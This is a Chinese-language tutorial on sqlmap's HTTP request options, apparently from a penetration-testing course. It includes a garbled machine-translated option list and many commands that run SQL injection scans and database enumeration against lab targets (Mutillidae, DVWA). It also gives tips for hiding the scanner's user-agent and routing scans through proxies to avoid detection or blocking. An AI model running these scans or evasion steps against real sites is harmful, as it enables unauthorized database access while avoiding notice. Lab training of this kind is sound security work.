任务094:SQLMAP自动注入-REQUEST
-
请求类型的参数:
这些选项可用于指定如何连接到目标URL --method=method强制使用给定的HTTP方法(例如PUT) --data=要通过POST发送的数据数据字符串(例如“id=1”) PARAM-DEL = PARA。用于分割参数值的字符(例如&) --cookie=cookie HTTP cookie头值(例如“PHPSESSID=a8d127e…”) --cookie del=首席运营官。。用于分割cookie值的字符(例如;) --加载cookies=L包含Netscape/wget格式cookies的文件 --从响应中删除set cookie Ignore set cookie头 --用户代理=代理HTTP用户代理头值 --基于HTTP用户代理头的移动模拟智能手机 --随机代理使用随机选择的HTTP用户代理头值 --host=host HTTP主机头值 --referer=referer HTTP referer头值 -H割台,--hea额外标题(例如“X-Forwarded-For:127.0.0.1”) --headers=headers额外的headers(例如,“Accept Language:fr\nETag:123”) --auth type=auth。。HTTP身份验证类型(基本、摘要、NTLM或PKI) --auth cred=验证。。HTTP身份验证凭据(名称:密码) --auth file=验证。。HTTP认证PEM证书/私钥文件 --忽略代码=IG。。忽略(有问题的)HTTP错误代码(例如401) --忽略代理忽略系统默认代理设置 --忽略重定向忽略重定向尝试 --忽略超时忽略连接超时 --proxy=proxy使用代理连接到目标URL --代理cred=PRO代理身份验证凭据(名称:密码) --代理文件=PRO从文件加载代理列表 --使用匿名网络 --tor端口=TORPORT设置为非默认代理端口 --tor type=TORTYPE设置为代理类型(HTTP、SOCKS4或SOCKS5(默认值)) --检查tor检查tor是否正确使用 --delay=每个HTTP请求之间的延迟延迟(秒) --timeout=超时连接前等待的超时秒数(默认值30) --retries=连接超时时重试(默认3) ——给定参数的随机化=rPARAM随机变化值 --safe url=测试期间要经常访问的SAFEURL url地址 --安全柱=安全将数据发送到安全的URL --安全要求=安全。。从文件加载安全的HTTP请求 --安全频率=安全两次访问给定安全URL之间的测试请求 --跳过URL编码跳过有效负载数据的URL编码 --csrf令牌=CSR。。用于保存反CSRF令牌的参数 --csrf url=CSRFURL提取反csrf令牌要访问的url地址 --csrf方法=CS。。访问反CSRF令牌页时使用的HTTP方法 --强制ssl强制使用ssl/HTTPS --分块使用HTTP分块传输编码(POST)请求 --hpp使用HTTP参数污染方法 --eval=eval code在请求之前评估提供的Python代码(例如。 “导入hashlib;id2=hashlib.md5(id.hexdigest()”)
SQLMAP是来进行sql注入的是给予http协议的
下面是参数的演示修改头
-
参数 --data
get或post都适用
–data里面放变量的
数据段:–data
1.1get演示
URL地址http://172.16.103.128/mutillidae/index.php?page=login.php
怎么参数撒不包含sql注入的
要检测有sql注入漏洞参数名称是通过post数据部分进行传输的
在这个地方
叫上面的参数放到–data里
然后进行–dbs扫描
–dbs查看你数据管理系统有多少库显示库名
命令sqlmap -u "http://172.16.103.128/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
1.2POST演示
原先的URL地址http://172.16.103.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details
用–data参数
命令
里面存放post变量
里面不放"?"了sqlmap -u "http://172.16.103.128/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbs
-
变量分隔符 --param-del
通常URL地址里都是用
http://172.16.103.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details
是用的&进行分割的
还有的是用;进行分割的
http://1.1.1.1/a.php?q=foo;id=1
我们可以用–param-del进行修改分割符
列sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
-
cookie 头
web应用需要基于cookie的身份认证,
3.1cookie 头 --cookie
可以用–cookie进行添加cookie
在浏览器里也可以找到cookie的
命令sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e"
3.2. 然后扫描到其他网页更换了cookie工具sqlmap会自动进行更换cookie的
我们可以添加一个--drop-set-cookie
不叫他更换cookie
3.3. sqlmap 会自动检查cookie中的注入点(level>=至少是2)
加上–level 1-5
命令sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e" --level 2 --dbs
-
参数–user-agent可以修改 user-agent
默认发的探测包不是其他想IE浏览器或者是其他浏览器发的包默认撒sqlmap发的
这样的话网站管理员就会发现有人用sqlmap在扫那
4.1用–random-agent随机user-agent
配置的user-agent在这个文件里/usr/share/sqlmap/data/txt/user-agents.txt
–random-agent会随机用上面这个文件里的user-agent
命令sqlmap -u "http://192.168.54.56/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --random-agent
看一下就不是sqlmap了
4.2自己指定user-agent
命令sqlmap -u "http://192.168.54.56/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit- button=View+Account+Details" --user-agent aaaaa
可以看见是aaa
4.3使 sqlmap 检查 user-agent 中的注入点:level >= 3
user-agent也是存在sql注入的
sqlmap扫描 user-agent 是否存在sql注入不须level>= 3 才会看看user-agent 是否存在漏洞
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --random-agent --level 3
4.3如果出现了报错服务器你的扫描就会包下面的错误
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
-
host头
修改host头需要加上--host="xxxx"
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" –-host="aaaaaaaa" --dbs
扫描host头是否存在sql漏洞level >= 5 才可以
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" –-host="aaaaaaaa" --level 5 --dbs
-
Referer头
referer头是比如我们访问一个网页要跳转到另外一个网页原来的URL会在referer里
6.1修改referer后面加上参数--referer="要指定的referer"
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --referer=="aaaaaaaa" --dbs
6.2要检referer是否存在sql注入漏洞–level>=3才可以
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --referer=="aaaaaaaa" --level 3 --dbs
-
另外如果没有这这个修改参数的头可以用 --headers参数下面是他的使用
提示《里面的头名要给包的头名一样列Host》
7.1单个要修改的头参数--headers="头名:"要修改的东西""
这个就不演示了7.2要是多个必须换行\n参数
--headers="头名:"要修改的东西\n"头名:"要修改的东西"
命令
这个我就用Host头和User-Agent头sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" --dbs
可以看见被修改了
-
扫描指定发的包GET和POST
参数--method=GET或POST
命令sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --method=POST --dbs
-
基于HTTP协议的身份验证
类型
Basic
Digest
NTLM
这个就不演示了
命令sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=身份认证类型 --auth-cred="帐号:密码"--proxy="http://代理的ip:代理的端口"
-
非常少见的居于客户端证书来进行身份认证的
这个我也不太明白
参数--auth-file="证书"
-
http(s)代理
比如要做一次扫描可能就会被目标服务器屏蔽掉所以用代理他屏蔽的就是代理的ip,应为你扫描的时候会发很多的探测包
参数--proxy="http://代理的ip:代理的端口"
如果代理有帐号密码可以用这个参数--proxy-cred="帐号:密码"
命令sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"--proxy="http://127.0.0.1:8080"